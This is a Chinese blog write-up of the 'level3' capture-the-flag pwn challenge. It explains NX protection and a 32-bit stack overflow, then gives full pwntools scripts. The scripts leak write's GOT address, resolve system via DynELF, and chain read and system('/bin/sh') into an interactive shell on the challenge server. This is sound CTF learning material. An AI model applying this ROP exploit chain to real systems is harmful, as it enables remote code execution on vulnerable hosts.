xctf level3--沙窝李的王

本文介绍了一种利用ROP技术绕过NX保护的方法,详细解释了如何通过泄露函数GOT表中的地址获取库中函数的真实加载地址,进一步找出其他函数如system的地址,以及/bin/sh字符串的位置,从而实现对目标程序的控制。
摘要由CSDN通过智能技术生成

通过直接实战学习知识,这还是第一次这样学习,感觉到了压力-_-…
level3
在这里插入图片描述

可以看到NX保护打开,也就是不能在栈中执行指令辽。
由于不知道NX保护的原理机制,特查询如下:
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
在这里插入图片描述
拖入ida查询主函数内容
在这里插入图片描述
描述很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了,一个新的模式:先通过泄露函数got表中的地址获取到库中某个函数的真正加载地址,再通过通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串
构造payload:
payload=’A’*0x88+’A’*4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)//这一部分是为了泄露出来write 函数的got表内容
payload = “A” * 0x88 + “A” * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)//这一部分会返等待输入,把输入的内容放到bss_addr。返回地址pop_pop_pop_ret保证堆栈平衡
payload+=p32(system_addr)+p32(0x77777777)+p32(bin_sh_addr)//这一部分是为了执行system(“/bin/sh”)函数。

会执行system(“/bin/sh”)是因为发送过去的payload在函数返回的时候才会起作用。

0x01 获取pop
程序开启了NX保护,pop_pop_pip_ret不能使我们传进栈中的,只能用程序本身自己带的,那么怎么找呢,能不能找到呢
pwntoos给我们提供了工具ROPgadget–binary是搜索的目录,–only是搜索的内容。还可以加上|grep来过滤。
liu@liu-F117-F:~/桌面/oj/level3$ ROPgadget --binary level3 --only “pop|ret”


0x0804851b : pop ebp ; ret
0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804851a : pop edi ; pop ebp ; ret
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

Unique gadgets found: 7

运行这段代码就能获取到write函数的运行地址(放在write_addr里面)。
运行结果为write_addr=0xf7dfad80 。

from pwn import *
pop_pop_pop_ret=0x08048519
elf=ELF(“level3”)
plt_write=elf.plt[“write”]
got_write=elf.got[“write”]

#p=process("./level3")
p=remote(“pwn2.jarvisoj.com”,9879)
p.recvline()
payload=“A”*0x88+“A”*4+p32(plt_write)+p32(pop_pop_pop_ret)+p32(1)+p32(got_write)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
print “write_addr=”+hex(write_addr

最终脚本:


from pwn import *
#context.log_level="debug"
pop_pop_pop_ret=0x08048519
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
def leak(address):
    p.recvline()
    payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print hex(u32(data))
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)

bss_addr=0x0804a024
plt_read=elf.plt["read"]
p.recvline()
sleep(1)
payload = "A" * 0x88 + "A" * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)
raw_input()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

放到ubunt虚拟机中运行即可出答案
---------------------

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值